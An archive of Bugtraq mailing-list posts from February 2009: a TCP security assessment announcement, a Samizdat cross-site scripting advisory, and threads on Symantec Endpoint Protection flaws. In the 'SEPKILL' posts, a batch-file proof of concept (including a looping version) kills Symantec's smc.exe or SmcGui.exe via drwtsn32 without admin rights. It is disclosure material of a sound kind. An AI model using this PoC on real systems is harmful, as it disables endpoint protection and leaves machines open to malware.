Date: Fri, 13 Feb 2009 11:24:23 +0530
MIME-Version: 1.0
Content-Type: text/plain;
format=flowed;
charset="iso-8859-1";
reply-type=original
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
Importance: Normal
X-Mailer: Microsoft Windows Live Mail 14.0.8050.1202
X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8050.1202
X-OriginalArrivalTime: 13 Feb 2009 05:53:23.0448 (UTC) FILETIME=[61A7E780:01C98D9F]
Status:   

Hey Jon,

I am sorry about the space after the "~", That was a typo.

Its  been tested it on all the versions prior to MR4MP1 since the 
RTM(11.0.776)

But what's interesting is that the process isn't crashing. But a possible 
arbitrary execution of code.

I will do some more research into it to come up with an exploit with it.

Thank you.

Regards, Sandeep


.--------------------------------------------------
From: "Jon Kloske" <jon@uq.edu.au>
Sent: Friday, February 13, 2009 9:11 AM
To: "Sandeep Cheema" <51l3n7@live.in>
Cc: <bugtraq@securityfocus.com>
Subject: RE: SEP(Symantec) Bug

> Hi Sandeep,
>
> Are you saying this is supposed to affect 11.0.4000.x? If so, what
> sub-sub-minor versions did you test it on?
>
> I just tested this on 11.0.4000.2295 (on a managed client) and all it
> did was crash the smc.exe process started by the command you supplied,
> not smcgui.exe process. I tested as an administrator and an unprivileged
> user and got the same results - smc.exe crashes, but not the smcgui.exe
> process.
>
> It would be interesting if you could provide more information, since if
> this is actually doing what you say it's doing it would be a horrifying
> attack vector for worms and viruses.
>
> As an aside, I noticed that if I run "smc.exe -p" it crashes too, with
> or without the tilde ("~") on the end. If I run "smc -p" (omit the .exe)
> it doesn't crash, but "smc -p ~" crashes. (qualifying note: in all these
> cases this is just the smc.exe process that was started by the command
> that crashed, not the smcgui.exe process.) And yes, I tried adding the
> space after the tilde as you originally quoted in the email :)
>
> Regards,
> Jon.
>
> ps: A list of smc.exe command line parameters is available here:
http://service1.symantec.com/SUPPORT/ent-security.nsf/904c88a5602c2de388
> 2573410063493c/d02aafed7241b975802573aa0037fb30?OpenDocument
>
> -- 
> _________________
> Jon Kloske [ITIG]
> Systems Programming Manager
> jon@uq.edu.au :: x54193 :: 78-516B
> Faculty of EAIT, UQ :: CRICOS No. 00025B
>
>
>> -----Original Message-----
>> From: Sandeep Cheema [mailto:51l3n7@live.in]
>> Sent: Friday, 13 February 2009 12:16 AM
>> To: bugtraq@securityfocus.com
>> Subject: SEP(Symantec) Bug
>>
>> Hi,
>>
>> There is a bug with the "Symantec Endpoint Protection"( Tested on all
>> versions till 11.0.4000)
>>
>> When you execute the following command "smc.exe -p ~ " the smcgui.exe
>> crashes. You don't need admin privilege for this.
>>
>> Regards, Sandeep
>> 51l3n7[at]live.in
>>
>>
>>
>>
>


From - Fri Feb 13 13:28:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00006235
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39472-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 2E095ED89B
for <lists@securityspace.com>; Fri, 13 Feb 2009 13:22:41 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 80E9D1437ED; Fri, 13 Feb 2009 10:12:21 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 30612 invoked from network); 12 Feb 2009 22:09:55 -0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from
         :user-agent:mime-version:to:subject:x-enigmail-version:content-type
         :content-transfer-encoding;
        bh=i6Ar4bKUFD7nDuJik5/44ebM/YqDaUko7AIwD+2/9Pw=;
        b=ChJSJ9Fna4J/falVx2BhUZI8iTFhHEcAJdPB5+hC6GQJ5zUM6PSzImbabRT5iIZwWv
         VMta+GV4sl1IcjkOoV4mTfRfLLVw0UWJPRSPra0szVXWBL26g5ToC8y+l7B45XLGAf7I
         6AUbVQw7LstYTeom/1g/5O3fJzlwCxzAsyiXADomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:user-agent:mime-version:to:subject
         :x-enigmail-version:content-type:content-transfer-encoding;
        b=PZwZGOi1He+lLlfrMDL0Cw/rquvb3IS4jZ07WSTWLPiHvCeuiInYvb1ArwuC597+41
         RR2leFnQ9LqU1iJhpZ0sLNW+/Zm1FRvcXyQJfs5D9EwspWq8FnF+OhD2Mx40ZSs7VfHm
         KnQLm4suNKlsifhwCfPEKdMiwu/cVyJC7+efQMessage-ID: <4994A4EB.5030607@gmail.com>
Date: Thu, 12 Feb 2009 20:38:35 -0200
From: Fernando Gont <fernando.gont@gmail.com>
User-Agent: Thunderbird 2.0.0.19 (X11/20090105)
MIME-Version: 1.0
To: bugtraq@securityfocus.com, full-disclosure@lists.grok.org.uk
Subject: Security Assessment of the Transmission Control Protocol (TCP)
X-Enigmail-Version: 0.95.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
Status:   

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Hello, folks,

The United Kingdom's Centre for the Protection of National
Infrastructure has just released the document "Security Assessment of
the Transmission Control Protocol (TCP)", on which I have had the
pleasure to work during the last few years.

The motivation to produce this document is explained in the Preface of
the document as follows:

- ---- cut here ----
The TCP/IP protocol suite was conceived in an environment that was quite
different from the hostile environment they currently operate in.
However, the effectiveness of the protocols led to their early adoption
in production environments, to the point that to some extent, the
current world?s economy depends on them.

While many textbooks and articles have created the myth that the
Internet protocols were designed for warfare environments, the top level
goal for the DARPA Internet Program was the sharing of large service
machines on the ARPANET. As a result, many protocol specifications focus
only on the operational aspects of the protocols they specify, and
overlook their security implications.

While the Internet technology evolved since it early inception, the
Internet?s building blocks are basically the same core protocols adopted
by the ARPANET more than two decades ago.

During the last twenty years, many vulnerabilities have been identified
in the TCP/IP stacks of a number of systems. Some of them were based on
flaws in some protocol implementations, affecting only a reduced number
of systems, while others were based in flaws in the protocols
themselves, affecting virtually every existing implementation. Even in
the last couple of years, researchers were still working on security
problems in the core protocols.

The discovery of vulnerabilities in the TCP/IP protocol suite usually
led to reports being published by a number of CSIRTs (Computer Security
Incident Response Teams) and vendors, which helped to raise awareness
about the threats and the best mitigations known at the time the reports
were published. Unfortunately, this also led to the documentation of the
discovered protocol vulnerabilities being spread among a large number of
documents, which are sometimes difficult to identify.

For some reason, much of the effort of the security community on the
Internet protocols did not result in official documents (RFCs) being
issued by the IETF (Internet Engineering Task Force). This basically led
to a situation in which ?known? security problems have not always
been addressed by all vendors. In addition, in many cases vendors have
implemented quick ?fixes? to the identified vulnerabilities without a
careful analysis of their effectiveness and their impact on
interoperability.

Producing a secure TCP/IP implementation nowadays is a very difficult
task, in part because of the lack of a single document that serves as a
security roadmap for the protocols. Implementers are faced with the hard
task of identifying relevant documentation and differentiating between
that which provides correct advice, and that which provides misleading
advice based on inaccurate or wrong assumptions.


There is a clear need for a companion document to the IETF
specifications that discusses the security aspects and implications of
the protocols, identifies the existing vulnerabilities, discusses the
possible countermeasures, and analyses their respective effectiveness.

This document is the result of a security assessment of the IETF
specifications of the Transmission Control Protocol (TCP), from a
security point of view. Possible threats are identified and, where
possible, countermeasures are proposed. Additionally, many
implementation flaws that have led to security vulnerabilities have been
referenced in the hope that future implementations will not incur the
same problems.

This document does not aim to be the final word on the security aspects
of TCP. On the contrary, it aims to raise awareness about a number of
TCP vulnerabilities that have been faced in the past, those that are
currently being faced, and some of those that we may still
have to deal with in the future.

Feedback from the community is more than encouraged to help this
document be as accurate as possible and to keep it updated as new
vulnerabilities are discovered.
- ---- cut here ----

The document is available at CPNI's web site:
http://www.cpni.gov.uk/Products/technicalnotes/Feb-09-security-assessment-TCP.aspx

Additionally, I have posted a copy of the document on my personal web
site: http://www.gont.com.ar

Any comments will be more than welcome.

Kind regards,
- --
Fernando Gont
e-mail: fernando@gont.com.ar || fgont@acm.org
PGP Fingerprint: 7809 84F5 322E 45C7 F1C9 3945 96EE A9EF D076 FFF1





-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iQEcBAEBCAAGBQJJlKTFAAoJEJbuqe/Qdv/xbBgH/0CRAO7VttW8IlSs6ocKl8Xi
pQkuUZOKAZrkok0T4GOkRPBmIv+5K8ZQT8hBBdTL6TOdZ+LOIHvmwpOMRqosijbm
+KXTuHYws/zVbReCZXdYFhHfxRUn75G9s0mafNRpkiQV07hoHpD38UcGJYUnQXNy
7uuV3HXJDENgE0L8pAK8HhgNKlX3clcV3sBJEzHMsvVVT1Jh1XsS+krAD7JguN95
nhjOTcTp1Ggq+F6wqucm9Kf193O78REEz/FGeaoPGSDfzD0EBGg4IG1qu6Bo3e++
ALLEOhARQJ0l12dC+84N0/mrGBSe45pUbMddT6xZzDXa6INcmTE6dc1VSQL8EAo=IVlY
-----END PGP SIGNATURE-----

From - Fri Feb 13 13:38:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00006236
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39476-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 7E44FED938
for <lists@securityspace.com>; Fri, 13 Feb 2009 13:29:10 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 211FE1437BA; Fri, 13 Feb 2009 11:23:57 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 27023 invoked from network); 13 Feb 2009 12:14:34 -0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:date:message-id:subject
         :from:to:content-type:content-transfer-encoding;
        bh=Bmt9vKzHZcm5FqySIqJF1vzwYt0bofCFZNb2zvu/3LM=;
        b=gVpk3udTdOmhGo7HmF72EzK9Laab2oq2ZzS3sv58a7eB4Mf3KeiYxfcMhNftlbD1tj
         w3t0biE+/adAwj25KadaC/dg+QA11BOOKLuBCC4BU3GFvVid2nR4KMIKJVERVzhHmqG0
         rdooUqPsrSbvi9i6wQ1eU2OPetIkomkmVzBPUDomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:date:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        b=J86UI3fjxGtSd/cliyjhV+O++NWLsmH2X/OgQJOQiMQKI2IJ8toj66K3iF2kslusTd
         BwbmVHJXOpxH5Px3ZcI56zM4ZvbUHx9EAJrGbaddxLI/lX610EdvzwpVkczFGYAXX7lX
         qG+1B+pQmWXu8u4eJ1Ztr14+vgpdX9Y87X6u4MIME-Version: 1.0
Date: Fri, 13 Feb 2009 14:43:46 +0200
Message-ID: <197e45fc0902130443l61a4ee0dtf5a4a2ed1b7d9a2e@mail.gmail.com>
Subject: Cross-site scripting in Samizdat 0.6.1
From: Dmitry Borodaenko <angdraug@gmail.com>
To: bugtraq@securityfocus.com
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Status:   

Software: Samizdat, an open publishing web application written in Ruby
Vulnerability: cross-site scripting
Vulnerable Versions: 0.6.1 and earlier
Non-vulnerable Versions: 0.6.2, Debian package 0.6.1-3lenny1
Patch: http://samizdat.nongnu.org/release-notes/samizdat-0.6.1-xss-escape-title.patch
References: CVS-2009-0359, DTSA-194-1

Description:

Samizdat 0.6.1 contains several code paths that fail to escape special HTML
characters in message title and user full name before these strings are included
in a Web page (in earlier versions, only user full name is exploitable). This
allows an attacker to perform a cross-site scripting attack by including a
specially crafted string in their full name or message title.

Test:

Login. Set your full name to a string including a special HTML character (any of
&"'<>). Publish a message with a title that includes a special character. Find
your message in the list of recent updates on the site front page, check the
HTML source to see whether the special characters were escaped as HTML entities.

Fix:

Samizdat 0.6.2 includes a fix for this vulnerability. Alternatively, a patch for
Samizdat 0.6.1 that closes this vulnerability is referenced above; it is also
recommended to apply a second patch that improves stability of the Samizdat
Sanitize module (a white-list HTML filter used to remove dangerous tags,
attributes, and CSS properties from user-submitted HTML):

http://samizdat.nongnu.org/release-notes/samizdat-0.6.1-tidy-binary.patch

Both patches are included in the Debian package version 0.6.1-3lenny1.

-- 
Dmitry Borodaenko

From - Fri Feb 13 13:38:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00006237
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39477-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id D0853ED938
for <lists@securityspace.com>; Fri, 13 Feb 2009 13:34:21 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 927681438B3; Fri, 13 Feb 2009 11:24:53 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 27103 invoked from network); 13 Feb 2009 12:17:05 -0000
X-Originating-IP: [59.160.193.34]
X-Originating-Email: [51l3n7@live.in]
Message-ID: <SNT107-DS16DA747FC61ACC2544E34BC7B80@phx.gbl>
From: "Sandeep Cheema" <51l3n7@live.in>
To: <bugtraq@securityfocus.com>
Subject: SEPKILL /im SMC.EXE /f
Date: Fri, 13 Feb 2009 18:18:08 +0530
MIME-Version: 1.0
Content-Type: text/plain;
format=flowed;
charset="iso-8859-1";
reply-type=original
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
Importance: Normal
X-Mailer: Microsoft Windows Live Mail 14.0.8050.1202
X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8050.1202
X-OriginalArrivalTime: 13 Feb 2009 12:46:18.0435 (UTC) FILETIME=[10B2E930:01C98DD9]
Status:   

Hi,

Probably this bug exists on majorly all the software's but security 
software's like antivirus and firewall have to bucket it which is not what 
its for SEP.
I have tested it on all versions of SEP from 11.0.776 to 11.0.4000(XP and 
2k3)


You can kill smc.exe with the help of drwtsn32.exe in the following way.

drwtsn32 -p %pid%
where pid is the process id for smc.exe

POC:

Save the following as a batch file and execute it

tasklist | find /i "Smc.exe" > c:\pid.txt
FOR /F "tokens=2" %%R IN ('TYPE "c:\pid.txt"') DO SET pidopt=%%R
drwtsn32 -p %pidopt%



You don't need admin privilege for this exploit.

This will even bypass the password if it has been set to stop the service.
If executed from the command line in the form drwtsn32 -p %pid% , the 
command will be executed and it takes some time for the process to be 
stopped.
If done from a batch file the command is completed only when the process is 
stopped.

Regards, Sandeep
51l3n7[at]live.in

 

From - Fri Feb 13 13:58:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00006238
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39479-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id B243CED939
for <lists@securityspace.com>; Fri, 13 Feb 2009 13:49:02 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 4BFC0143979; Fri, 13 Feb 2009 11:26:59 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 28748 invoked from network); 13 Feb 2009 14:05:28 -0000
X-Originating-IP: [59.160.193.34]
X-Originating-Email: [51l3n7@live.in]
Message-ID: <SNT107-DS15F10EDC4DCF8F08220011C7B80@phx.gbl>
From: "Sandeep Cheema" <51l3n7@live.in>
To: <bugtraq@securityfocus.com>
Subject: Re: SEPKILL /im SMC.EXE /f
Date: Fri, 13 Feb 2009 20:06:24 +0530
MIME-Version: 1.0
Content-Type: text/plain;
format=flowed;
charset="iso-8859-1";
reply-type=response
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
Importance: Normal
X-Mailer: Microsoft Windows Live Mail 14.0.8050.1202
X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8050.1202
X-OriginalArrivalTime: 13 Feb 2009 14:34:42.0001 (UTC) FILETIME=[35205410:01C98DE8]
Status:   

For the "users" its working for SmcGUI.exe

Please find the code as below.

:here
tasklist | find /i "SmcGui.exe" > c:\pid.txt
FOR /F "tokens=2" %%R IN ('TYPE "c:\pid.txt"') DO SET pidopt=%%R
drwtsn32 -p %pidopt%
goto :here

I have tried it and when let this file run for around 2 mins, The SmcGui.exe 
process loads up when you logoff and log back in (or restart)but the icon 
does not show up in the taskbar.

Thank you.

Regards, Sandeep

--------------------------------------------------
From: "Sandeep Cheema" <51l3n7@live.in>
Sent: Friday, February 13, 2009 7:03 PM
To: <bugtraq@securityfocus.com>
Subject: Re: SEPKILL /im SMC.EXE /f

> As an update its not happening for "Users" account, Though no access 
> denied.
>
> Anyone knows why?
>
> Thank you.
>
> Regards, Sandeep
>
> --------------------------------------------------
> From: "Sandeep Cheema" <51l3n7@live.in>
> Sent: Friday, February 13, 2009 6:18 PM
> To: <bugtraq@securityfocus.com>
> Subject: SEPKILL /im SMC.EXE /f
>
>> Hi,
>>
>> Probably this bug exists on majorly all the software's but security 
>> software's like antivirus and firewall have to bucket it which is not 
>> what its for SEP.
>> I have tested it on all versions of SEP from 11.0.776 to 11.0.4000(XP and 
>> 2k3)
>>
>>
>> You can kill smc.exe with the help of drwtsn32.exe in the following way.
>>
>> drwtsn32 -p %pid%
>> where pid is the process id for smc.exe
>>
>> POC:
>>
>> Save the following as a batch file and execute it
>>
>> tasklist | find /i "Smc.exe" > c:\pid.txt
>> FOR /F "tokens=2" %%R IN ('TYPE "c:\pid.txt"') DO SET pidopt=%%R
>> drwtsn32 -p %pidopt%
>>
>>
>>
>> You don't need admin privilege for this exploit.
>>
>> This will even bypass the password if it has been set to stop the 
>> service.
>> If executed from the command line in the form drwtsn32 -p %pid% , the 
>> command will be executed and it takes some time for the process to be 
>> stopped.
>> If done from a batch file the command is completed only when the process 
>> is stopped.
>>
>> Regards, Sandeep
>> 51l3n7[at]live.in
>>
>>
>> 

From - Fri Feb 13 13:58:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000623a
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39474-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 1321AED66B
for <lists@securityspace.com>; Fri, 13 Feb 2009 13:53:46 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id C6689143839; Fri, 13 Feb 2009 11:04:53 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 17670 invoked from network); 13 Feb 2009 03:12:06 -0000
X-MIMEOLE: Produced By Microsoft Exchange V6.5
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: SEP(Symantec) Bug
Date: Fri, 13 Feb 2009 13:41:08 +1000
Message-ID: <5917E3FA58839D40B41CF5B83A68105402AC78C7@UQEXMB2.soe.uq.edu.au>
In-Reply-To: <SNT107-DS556650CF335CA6E13D14EC7BB0@phx.gbl>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-topic: SEP(Symantec) Bug
Thread-index: AcmNLH2P+z+PZ1ngTdmRc7lCeAHc6AAXuxYw
References: <SNT107-DS556650CF335CA6E13D14EC7BB0@phx.gbl>
From: "Jon Kloske" <jon@uq.edu.au>
To: "Sandeep Cheema" <51l3n7@live.in>
Cc: <bugtraq@securityfocus.com>
X-OriginalArrivalTime: 13 Feb 2009 03:41:11.0258 (UTC) FILETIME=[E9B3C3A0:01C98D8C]
X-UQ-FilterTime: 1234496471
X-Scanned-By: MIMEDefang 2.58 on UQ Mailhub on 130.102.149.131
Status:   

Hi Sandeep,

Are you saying this is supposed to affect 11.0.4000.x? If so, what
sub-sub-minor versions did you test it on?

I just tested this on 11.0.4000.2295 (on a managed client) and all it
did was crash the smc.exe process started by the command you supplied,
not smcgui.exe process. I tested as an administrator and an unprivileged
user and got the same results - smc.exe crashes, but not the smcgui.exe
process.

It would be interesting if you could provide more information, since if
this is actually doing what you say it's doing it would be a horrifying
attack vector for worms and viruses.

As an aside, I noticed that if I run "smc.exe -p" it crashes too, with
or without the tilde ("~") on the end. If I run "smc -p" (omit the .exe)
it doesn't crash, but "smc -p ~" crashes. (qualifying note: in all these
cases this is just the smc.exe process that was started by the command
that crashed, not the smcgui.exe process.) And yes, I tried adding the
space after the tilde as you originally quoted in the email :)

Regards,
Jon.

ps: A list of smc.exe command line parameters is available here:
http://service1.symantec.com/SUPPORT/ent-security.nsf/904c88a5602c2de388
2573410063493c/d02aafed7241b975802573aa0037fb30?OpenDocument

-- 
_________________
Jon Kloske [ITIG]
Systems Programming Manager
jon@uq.edu.au :: x54193 :: 78-516B
Faculty of EAIT, UQ :: CRICOS No. 00025B


> -----Original Message-----
> From: Sandeep Cheema [mailto:51l3n7@live.in]
> Sent: Friday, 13 February 2009 12:16 AM
> To: bugtraq@securityfocus.com
> Subject: SEP(Symantec) Bug

> Hi,

> There is a bug with the "Symantec Endpoint Protection"( Tested on all
> versions till 11.0.4000)

> When you execute the following command "smc.exe -p ~ " the smcgui.exe
> crashes. You don't need admin privilege for this.

> Regards, Sandeep
> 51l3n7[at]live.in





From - Fri Feb 13 14:18:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000623b
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39478-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 231FFED756
for <lists@securityspace.com>; Fri, 13 Feb 2009 14:09:29 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id AB9F41438F1; Fri, 13 Feb 2009 11:25:29 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 27615 invoked from network); 13 Feb 2009 13:02:17 -0000
X-Originating-IP: [59.160.193.34]
X-Originating-Email: [51l3n7@live.in]
Message-ID: <SNT107-DS1736EAC15CA12817754D39C7B80@phx.gbl>
From: "Sandeep Cheema" <51l3n7@live.in>
To: <bugtraq@securityfocus.com>
Subject: Re: SEPKILL /im SMC.EXE /f
Date: Fri, 13 Feb 2009 19:03:20 +0530
MIME-Version: 1.0
Content-Type: text/plain;
format=flowed;
charset="iso-8859-1";
reply-type=response
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
Importance: Normal
X-Mailer: Microsoft Windows Live Mail 14.0.8050.1202
X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8050.1202
X-OriginalArrivalTime: 13 Feb 2009 13:31:30.0575 (UTC) FILETIME=[6142A1F0:01C98DDF]
Status:   

As an update its not happening for "Users" account, Though no access denied.

Anyone knows why?

Thank you.

Regards, Sandeep

--------------------------------------------------
From: "Sandeep Cheema" <51l3n7@live.in>
Sent: Friday, February 13, 2009 6:18 PM
To: <bugtraq@securityfocus.com>
Subject: SEPKILL /im SMC.EXE /f

> Hi,
>
> Probably this bug exists on majorly all the software's but security 
> software's like antivirus and firewall have to bucket it which is not what 
> its for SEP.
> I have tested it on all versions of SEP from 11.0.776 to 11.0.4000(XP and 
> 2k3)
>
>
> You can kill smc.exe with the help of drwtsn32.exe in the following way.
>
> drwtsn32 -p %pid%
> where pid is the process id for smc.exe
>
> POC:
>
> Save the following as a batch file and execute it
>
> tasklist | find /i "Smc.exe" > c:\pid.txt
> FOR /F "tokens=2" %%R IN ('TYPE "c:\pid.txt"') DO SET pidopt=%%R
> drwtsn32 -p %pidopt%
>
>
>
> You don't need admin privilege for this exploit.
>
> This will even bypass the password if it has been set to stop the service.
> If executed from the command line in the form drwtsn32 -p %pid% , the 
> command will be executed and it takes some time for the process to be 
> stopped.
> If done from a batch file the command is completed only when the process 
> is stopped.
>
> Regards, Sandeep
> 51l3n7[at]live.in
>
>


From - Fri Feb 13 14:28:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000623c
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39480-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 44F1AED7C0
for <lists@securityspace.com>; Fri, 13 Feb 2009 14:21:04 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id DDAE31439A2; Fri, 13 Feb 2009 11:27:59 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 1836 invoked from network); 13 Feb 2009 16:54:21 -0000
X-Originating-IP: [122.167.10.219]
X-Originating-Email: [51l3n7@live.in]
Message-ID: <SNT107-DS1897FC53EB107A4057C84DC7B80@phx.gbl>
From: "Sandeep Cheema" <51l3n7@live.in>
To: <bugtraq@securityfocus.com>
Subject: Re: SEPKILL /im SMC.EXE /f
Date: Fri, 13 Feb 2009 22:55:15 +0530
MIME-Version: 1.0
Content-Type: text/plain;
format=flowed;
charset="iso-8859-1";
reply-type=response
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
Importance: Normal
X-Mailer: Microsoft Windows Live Mail 14.0.8050.1202
X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8050.1202
X-OriginalArrivalTime: 13 Feb 2009 17:23:27.0363 (UTC) FILETIME=[C84FF530:01C98DFF]
Status:   

Just as an update  couldn't get any further other than t.he fact that 
SMCGui.exe is getting killed as its running in the user account and SMC.exe 
in the system account.

